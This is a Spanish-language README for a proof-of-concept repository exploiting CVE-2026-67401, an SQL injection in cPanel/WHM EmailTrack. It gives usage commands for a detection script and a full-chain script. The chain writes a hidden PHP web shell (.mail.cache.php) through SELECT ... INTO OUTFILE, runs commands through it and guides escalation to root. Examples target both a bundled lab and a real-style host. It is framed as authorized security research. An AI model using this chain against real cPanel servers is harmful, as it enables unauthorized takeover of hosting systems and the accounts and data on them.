
Prueba de concepto para CVE-2026-67401, una inyección SQL en EmailTrack de cPanel/WHM que permite escritura arbitraria de archivos y RCE como root, con sondas de detección de SQLi y un laboratorio vulnerable autocontenido.
Prueba de concepto para CVE-2026-67401, una vulnerabilidad crítica de inyección SQL en la funcionalidad EmailTrack de cPanel & WHM que permite a un usuario autenticado con privilegios relacionados con correo escribir archivos arbitrarios y ejecutar código como root.
Descubierto por: Ali Mustafa Divulgado: 8 de septiembre de 2026 Componente: EmailTrack (registro / seguimiento de entrega de correo)
Las versiones anteriores a las compilaciones corregidas son vulnerables.
| Serie de compilación de cPanel | Versión corregida |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
Comprueba tu versión con:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account de EmailTrack.SELECT ... INTO OUTFILE en public_html/.| Archivo | Descripción |
|---|---|
poc_sqli.py | Detección de inyección SQL: basada en booleanos, basada en tiempo y conteo de columnas UNION |
poc_full_chain.py | Cadena de explotación completa: SQLi → web shell con INTO OUTFILE → RCE → guía para root |
lab/vuln_server.py | Simulación local del backend vulnerable de EmailTrack (segura, autocontenida) |
README.md | Este documento |
El laboratorio incluido te permite ejecutar y validar toda la cadena sin un servidor cPanel real.
Todos los comandos se ejecutan desde la raíz del repositorio.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE y la ejecución de web shells PHP.18123)lab/htdocs)Deja esto en ejecución en una terminal y usa una segunda terminal para los PoC.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| Argumento | Descripción |
|---|---|
-H, --host | Host de cPanel, p. ej. https://cp.example.com:2083 |
-u, --username | Cuenta de cPanel con privilegios de correo |
-p, --password | Contraseña de la cuenta |
--param | Parámetro inyectable (por defecto: account) |
--mode | detect (por defecto), boolean, timing, union o all |
--sleep | Duración de SLEEP() para la sonda de tiempo (por defecto: 3.0) |
--dump-version | Intenta extraer la versión del DBMS mediante UNION |
--insecure | Omite la verificación del certificado TLS |
Ejecutar una sonda específica:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| Argumento / Env | Descripción |
|---|---|
host (posicional) | Host de cPanel, o establece la variable de entorno CPANEL_HOST |
CPANEL_USER | Cuenta de cPanel con privilegios de correo |
CPANEL_PASS | Contraseña de la cuenta |
--shell-base | URL base que sirve public_html (donde se alcanza el web shell) |
--insecure | Omite la verificación del certificado TLS |
--no-escalate | Detente tras el RCE; omite la guía de escalada a root |
SHELL_NAME (env) | Nombre de archivo del web shell (por defecto: .mail.cache.php) |
Etapas ejecutadas automáticamente:
SELECT ... INTO OUTFILEid, whoami, enumeración de SUID, …)whmapi1, cron, cola de tareas)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
Nota: el
--shell-basepredeterminado elimina el puerto exclusivo de cPanel (2082/2083) del host. Si la raíz de documentos se sirve en un puerto diferente, establécelo explícitamente.
Salida producida contra el laboratorio incluido:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
Publicado con fines educativos y de investigación de seguridad autorizada. Consulta el Descargo de responsabilidad antes de usarlo.